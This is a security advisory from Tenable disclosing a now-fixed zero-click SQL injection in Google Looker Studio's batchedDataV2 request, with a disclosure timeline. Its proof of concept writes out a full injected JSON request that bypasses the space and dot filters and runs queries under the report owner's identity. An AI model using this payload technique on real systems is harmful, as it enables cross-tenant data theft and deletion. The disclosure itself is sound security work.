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Google Cloud Platform (GCP) Zero-Click Cross-Tenant SQL Injection Vulnerability on Big Query in Looker Studio

Critical

Synopsis

Tenable Research has identified and responsibly disclosed a severe SQL injection vulnerability in Looker Studio. The vulnerability could have allowed an attacker with only view-level access to create a report to execute arbitrary SQL queries on behalf of the report's owner.

The issue stemmed from improper sanitization of user-controlled input within the batchedDataV2 HTTP request. When a user accessed a Looker Studio report, dynamically generated column aliases in the request were directly injected into the underlying BigQuery or potentially Spanner queries. An attacker could manipulate these aliases to inject SQL commands.

By carefully crafting a malicious request, an attacker could bypass limitations such as the removal of dots and spaces. This enabled them to execute arbitrary queries under the report owner's identity, potentially leading to data exfiltration, modification, or deletion of any data the owner had access to.
 

Proof of Concept

  1. Visit the victim’s report
  2. Proxy the requests and catch the batchedDataV2 request
  3. Inject SQL inside the JSON values and send the request.
{
  "dataRequest": [
    {
      "requestContext": {
        "reportContext": {
          "reportId": "8aa098ec-7c4b-44fa-b318-bd2ce6ab2264",
          "pageId": "76752849",
          "mode": 1,
          "componentId": "cd-0gl8hxqwsd",
          "displayType": "simple-table"
        },
        "requestMode": 0
      },
      "datasetSpec": {
        "dataset": [
          {
            "datasourceId": "b911a53d-621f-4ff2-ae31-63a31ab3a94f",
            "revisionNumber": 0,
            "parameterOverrides": []
          }
        ],
        "queryFields": [
          {
            "name": "qt_mcriqerwsda",
            "datasetNs": "d0",
            "tableNs": "t0",
            "dataTransformation": {
              "sourceFieldName": "_name_"
            }
          },
          {
            "name": "qt_1spiqerwsd_injection_starts_here/**/FROM/**/UNNEST([STRUCT('a'/**/AS/**/clmn0_)])/**/GROUP/**/BY/**/1;BEGIN/**/DECLARE/**/dot/**/STRING;DECLARE/**/table_name2/**/STRING;DECLARE/**/sql_query1/**/STRING;DECLARE/**/sql_query2/**/STRING;DECLARE/**/sql_query3/**/STRING;SET/**/dot/**/=/**/CHR(46);SET/**/table_name2/**/=/**/CONCAT(attacker-project',/**/dot,/**/'mydataset',/**/dot,/**/'exfila');SET/**/sql_query2/**/=/**/CONCAT('SELECT/**/*/**/FROM/**/`',/**/table_name2,/**/'`');EXECUTE/**/IMMEDIATE/**/sql_query2;END;SELECT/**/NULL/**/AS/**/t0_qt_1spiqerwsd",
            "datasetNs": "d0",
            "tableNs": "t0",
            "dataTransformation": {
              "sourceFieldName": "datastudio_record_count_system_field_id_98323387"
            }
          }
        ],
        "sortData": [
          {
            "sortColumn": {
              "name": "qt_1spiqerwsd",
              "datasetNs": "d0",
              "tableNs": "t0",
              "dataTransformation": {
                "sourceFieldName": "datastudio_record_count_system_field_id_98323387"
              }
            },
            "sortDir": 1
          }
        ],
        "includeRowsCount": true,
        "relatedDimensionMask": {
          "addDisplay": false,
          "addUniqueId": false,
          "addLatLong": false
        },
        "paginateInfo": {
          "startRow": 1,
          "rowsCount": 100
        },
        "dsFilterOverrides": [],
        "filters": [],
        "features": [],
        "dateRanges": [],
        "contextNsCount": 1,
        "calculatedField": [],
        "needGeocoding": false,
        "geoFieldMask": [],
        "multipleGeocodeFields": [],
        "timezone": "Asia/Jerusalem"
      },
      "role": "main",
      "retryHints": {
        "useClientControlledRetry": true,
        "isLastRetry": false,
        "retryCount": 0,
        "originalRequestId": "cd-0gl8hxqwsd_0_0"
      }
    }
  ]
}
  1. Refresh the victim’s report. 
  2. SQL runs on the victim's data.

 

Screenshots showing queries and results

 

Solution

Google has remediated the issue.

Disclosure Timeline

June 3, 2025 - Tenable reports the finding to Google
June 5, 2025 - Google assigns S1 severity
June 6, 2025 - Tenable adds additional details
June 26, 2025 - Google awards a bounty
July 2, 2025 - Tenable asks for updates on the fix
July 15, 2025 - Tenable asks for updates
July 15, 2025 - Google replies that they have a large amount of submissions and requests an extension on issues
July 23, 2025 - Tenable replies asking for a listing of each issue the extension would reply to, requests that critical issues be remediated in the normal 90 days, and requests regular communication and 2-week extension intervals for the others.
July 23, 2025 - Google agrees to provide regular updates
July 28, 2025 - Google provides an update regarding the fix
July 31, 2025 - Tenable and Google agree to keep the original disclosure date
July 31, 2025 - Google updates that all bugs have been fixed
August 11, 2025 - Google updates that this has now been fixed and their team has verified it.
August 14, 2025 - Tenable requests details about the implemented solution
August 25, 2025 - Google provides details regarding the fix
August 28, 2025 - Google asks to see the TRA draft, Tenable shares it with them
August 28, 2025 - Tenable delays the publication due to holidays to September 3rd

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

Risk Information

Tenable Advisory ID: TRA-2025-28
Credit:
Liv Matan
Affected Products:
GCP Looker Studio
Risk Factor:
Critical

Advisory Timeline

September 3, 2025 - Initial release.